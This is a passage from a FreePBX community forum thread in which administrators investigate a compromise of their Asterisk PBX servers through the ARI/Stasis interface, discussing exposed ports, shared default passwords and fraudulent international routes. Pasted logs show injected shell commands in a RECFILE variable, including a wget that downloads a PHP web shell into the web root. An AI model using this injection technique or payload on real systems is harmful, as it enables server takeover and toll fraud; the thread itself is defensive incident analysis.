Inactive Stasis app 'hey' missed message

FreePBX Applications / Modules
143

I’m not convinced of the ARI password. I have a machine I changed the password and now am getting Inactive Stasis app ‘Sangoma’ missed message. grabbing all the logs now

Log for the setup and some other interesting stuff:
[2023-02-20 11:17:01] VERBOSE[28570] asterisk.c: Remote UNIX connection disconnected
[2023-02-20 11:17:05] VERBOSE[28590] stasis/app.c: Creating Stasis app ‘Sangoma’
[2023-02-20 11:17:05] VERBOSE[28590] res_http_websocket.c: WebSocket connection from ‘104.252.179.91:34877’ for protocol ‘’ accepted using version ‘13’
[2023-02-20 11:17:11] VERBOSE[981] asterisk.c: Remote UNIX connection
[2023-02-20 11:17:11] VERBOSE[28604] asterisk.c: Remote UNIX connection disconnected
[2023-02-20 11:17:15] VERBOSE[28477] pbx_variables.c: Setting global variable ‘RECFILE’ to ‘; wget https://raw.githubusercontent.com/LinuxPAL/Web-Shells/master/shell.php -O /var/www/html/lgaetz.php;’
[2023-02-20 11:17:18] VERBOSE[28658] dial.c: Called h@systemrecording-gui
[2023-02-20 11:17:18] VERBOSE[28659][C-000001cb] pbx.c: Executing [h@systemrecording-gui:1] System(“Local/h@systemrecording-gui-0000024c;2”, “touch ; wget https://raw.githubusercontent.com/LinuxPAL/Web-Shells/master/shell.php -O /var/www/html/lgaetz.php;.finished”) in new stack
[2023-02-20 11:17:18] WARNING[28659][C-000001cb] app_system.c: Unable to execute ‘touch ; wget https://raw.githubusercontent.com/LinuxPAL/Web-Shells/master/shell.php -O /var/www/html/lgaetz.php;.finished’
[2023-02-20 11:17:18] VERBOSE[28659][C-000001cb] pbx.c: Spawn extension (systemrecording-gui, h, 1) exited non-zero on ‘Local/h@systemrecording-gui-0000024c;2’
[2023-02-20 11:17:18] VERBOSE[28659][C-000001cb] pbx.c: Executing [h@systemrecording-gui:1] System(“Local/h@systemrecording-gui-0000024c;2”, “touch ; wget https://raw.githubusercontent.com/LinuxPAL/Web-Shells/master/shell.php -O /var/www/html/lgaetz.php;.finished”) in new stack
[2023-02-20 11:17:19] WARNING[28659][C-000001cb] app_system.c: Unable to execute ‘touch ; wget https://raw.githubusercontent.com/LinuxPAL/Web-Shells/master/shell.php -O /var/www/html/lgaetz.php;.finished’
[2023-02-20 11:17:19] VERBOSE[28659][C-000001cb] pbx.c: Spawn extension (systemrecording-gui, h, 1) exited non-zero on ‘Local/h@systemrecording-gui-0000024c;2’
[2023-02-20 11:17:21] VERBOSE[981] asterisk.c: Remote UNIX connection
[2023-02-20 11:17:21] VERBOSE[28693] asterisk.c: Remote UNIX connection disconnected
[2023-02-20 11:17:31] VERBOSE[981] asterisk.c: Remote UNIX connection
[2023-02-20 11:17:31] VERBOSE[28748] asterisk.c: Remote UNIX connection disconnected
[2023-02-20 11:17:36] VERBOSE[28757] pbx_variables.c: Setting global variable ‘RECFILE’ to ‘; fwconsole unlock 85nkllqafbg482827qime9svg6;’
[2023-02-20 11:17:39] VERBOSE[28758] dial.c: Called h@systemrecording-gui
[2023-02-20 11:17:39] VERBOSE[28759][C-000001cc] pbx.c: Executing [h@systemrecording-gui:1] System(“Local/h@systemrecording-gui-0000024d;2”, “touch ; fwconsole unlock 85nkllqafbg482827qime9svg6;.finished”) in new stack
[2023-02-20 11:17:39] WARNING[28759][C-000001cc] app_system.c: Unable to execute ‘touch ; fwconsole unlock 85nkllqafbg482827qime9svg6;.finished’
[2023-02-20 11:17:39] VERBOSE[28759][C-000001cc] pbx.c: Spawn extension (systemrecording-gui, h, 1) exited non-zero on ‘Local/h@systemrecording-gui-0000024d;2’
[2023-02-20 11:17:39] VERBOSE[28759][C-000001cc] pbx.c: Executing [h@systemrecording-gui:1] System(“Local/h@systemrecording-gui-0000024d;2”, “touch ; fwconsole unlock 85nkllqafbg482827qime9svg6;.finished”) in new stack
[2023-02-20 11:17:39] WARNING[28759][C-000001cc] app_system.c: Unable to execute ‘touch ; fwconsole unlock 85nkllqafbg482827qime9svg6;.finished’
[2023-02-20 11:17:39] VERBOSE[28759][C-000001cc] pbx.c: Spawn extension (systemrecording-gui, h, 1) exited non-zero on ‘Local/h@systemrecording-gui-0000024d;2’
[2023-02-20 11:17:41] VERBOSE[981] asterisk.c: Remote UNIX connection
[2023-02-20 11:17:41] VERBOSE[28822] asterisk.c: Remote UNIX connection disconnected
[2023-02-20 11:17:49] VERBOSE[28757] netsock2.c: Using SIP RTP TOS bits 184
[2023-02-20 11:17:49] VERBOSE[28757] netsock2.c: Using SIP RTP CoS mark 5
[2023-02-20 11:17:49] VERBOSE[28989] dial.c: Called mesd/0113909751960598
[2023-02-20 11:17:49] VERBOSE[1129][C-000001cd] netsock2.c: Using SIP RTP TOS bits 184
[2023-02-20 11:17:49] VERBOSE[1129][C-000001cd] netsock2.c: Using SIP RTP CoS mark 5
[2023-02-20 11:17:49] VERBOSE[1129][C-000001cd] res_rtp_asterisk.c: 0x7f4c1c434790 – Strict RTP learning after remote address set to: 10.5.136.4:15612
[2023-02-20 11:17:49] VERBOSE[28997][C-000001cd] pbx.c: Executing [0113909751960598@from-trunk-sip-mesd:1] Set(“SIP/mesd-00000187”, “GROUP()=OUT_3”) in new stack
[2023-02-20 11:17:49] VERBOSE[28997][C-000001cd] pbx.c: Executing [0113909751960598@from-trunk-sip-mesd:2] Goto(“SIP/mesd-00000187”, “from-trunk,0113909751960598,1”) in new stack
[2023-02-20 11:17:49] VERBOSE[28997][C-000001cd] pbx_builtins.c: Goto (from-trunk,0113909751960598,1)
[2023-02-20 11:17:49] VERBOSE[28997][C-000001cd] pbx.c: Executing [0113909751960598@from-trunk:1] NoOp(“SIP/mesd-00000187”, “Catch-All DID Match - Found 0113909751960598 - You probably want a DID for this.”) in new stack
[2023-02-20 11:17:49] VERBOSE[28997][C-000001cd] pbx.c: Executing [0113909751960598@from-trunk:2] Set(“SIP/mesd-00000187”, “__FROM_DID=0113909751960598”) in new stack
[2023-02-20 11:17:49] VERBOSE[28997][C-000001cd] pbx.c: Executing [0113909751960598@from-trunk:3] Goto(“SIP/mesd-00000187”, “ext-did,s,1”) in new stack

[2023-02-20 11:18:17] NOTICE[28592] ari/ari_websockets.c: Problem occurred during websocket write to 104.252.179.91:34877, websocket closed
[2023-02-20 11:18:17] NOTICE[28592] ari/ari_websockets.c: Problem occurred during websocket write to 104.252.179.91:34877, websocket closed
[2023-02-20 11:18:17] NOTICE[28592] ari/ari_websockets.c: Problem occurred during websocket write to 104.252.179.91:34877, websocket closed
[2023-02-20 11:18:17] NOTICE[28592] ari/ari_websockets.c: Problem occurred during websocket write to 104.252.179.91:34877, websocket closed

144

Replying to myself but the CDR database appears to be truncated.

145

Do you have a custom dialplan for some call recording?
What’s the output of

cat /var/www/html/lgaetz.php
asterisk -x"dialplan show systemrecording-gui"
146

Do you still have Port 8088 and/or 8089 open to the Internet ?

147

[ Context ‘systemrecording-gui’ created by ‘pbx_config’ ]
‘_.’ => 1. System({EXTEN}) [pbx_config]

-= 1 extension (1 priority) in 1 context. =-

No php file
and this system is completely hosed now And I got a message telling me to delete my post in the community when trying to do a backup

148

well I did until now.

149

Looks like you are now being specifically targeted.

150

Sure looks like it.

151

If they managed to create more ARI users or install a script on your machine then it is no longer an ARI password issue…

152

As to my previous points, it may have never been an ARI password issue.

153

Indeed. IMO: The response to this should have been way more serious as this affects the commercial PBXact from Sangoma.

I was hoping to see in the response that “We worked with affected users to gain access to their servers and gather data. The data that we have collected is currently being analyzed by our security team”

My interpretation of the response was “Hey, another similar to ‘SIP password compromised’ incident! Change your password!”

1 Like
154

???

155

I am still waiting on a data breach notification from 2 years ago that was required by law. Like Jurassic Park the bean counters don’t invest in people who are needed to do certain things. For those playing fix that exploit the home game a majority of them have been worked through by the same team that has done it for a decade and they aren’t on the S payroll. ¯⁠\⁠_⁠(⁠ツ⁠)⁠_⁠/⁠¯

156

It not being taken serious at any level is enough. If it was only taken seriously when the commercial stuff was involved it would leave the optics that the OSS side isn’t being taken seriously at all.

I mean Lorne did try to work with people and gather data. Barely got responses from those reporting the exploit. Even with that, the result was the ARI password was the same on the impacted system. That result is inconclusive as it could mean the bad actor got access to the machine and changed the ARI password or it could mean the machines had shared passwords because of the install.

What I don’t get is, if FreePBX is using ARI for things and it’s only for local requests…why is allowed_origins set to *? That’s setting the CORS to allow anything to connect. That should be a least localhost:8088,localhost:8089 by default which would restrict ARI requests to the machine.

157

What’s strange is that i’ve found these ports opened AFTER, so there may be some other exploit to trigger opening a port connected to asterisk auth bypass or credential exfil
In my case TCP ports below 5000 were already closed by a pfsense firewall, for now i’ve closed ALL TCP ports
I’ve also reviewed asterisk ARI code myself but didn’t find anything obvious…

And in my case compromised hosts had different ARI password, different web gui password and were installed from scratch, no cloned VM

Edit: strangely some hosts on the same /24 weren’t compromised, i’m even starting to think the exploit may be initiated from a phone customer side…

158

Generally speaking instead, any reports of it happening with asterisk 19/20 ? In my case it was always asterisk < 19

159

What you are seeing is this
https:// github. com /vulhub/vulhub/blob/master/hadoop/unauthorized-yarn/exploit.py , not related to asterisk unfortunately, just happens to share same 8088 port

@MAWalker i have too the same 7ff…2bb password on a compromised system, it was installed from scratch
Another compromised one 01be…4c8

edit2:
https:// github. com/nadirhamid/speechdtmf/blob/master/.env.example

Here too the same password, i guess at this point the password generation code , which if i understand correctly is packed with ioncube and not inspectable is completely flawed and probably missing a seed call before generating random string…

160

b19…abb hacker deleted outbound routes and put in an international route
7ff…2bb 3 of these
d48…af3
b31…ac5

161

This is not something that ARI can do as that means it had to dip into databases and remove the entries, then add new entries. I mean, it probably could send data to trigger a System() call that does the rest but that would also mean that they have put things on your system.

162

I believe that some of the issues being reported might be wider than the original ARI issue. Since blocking the so-called ‘Secure’ WebRTC Port to my affected systems (8089), I’ve personally not seen any additional malicious connections/activity.

I might expose 8089 to a ‘test’ FreePBX instance (that has no extns/trunks etc) just to see if anyone manages to connect/create a malicious ‘hey’ app inline with what was originally observed. If so, I’ll also keep track of the default [freepbxuser] password to see if it gets changed.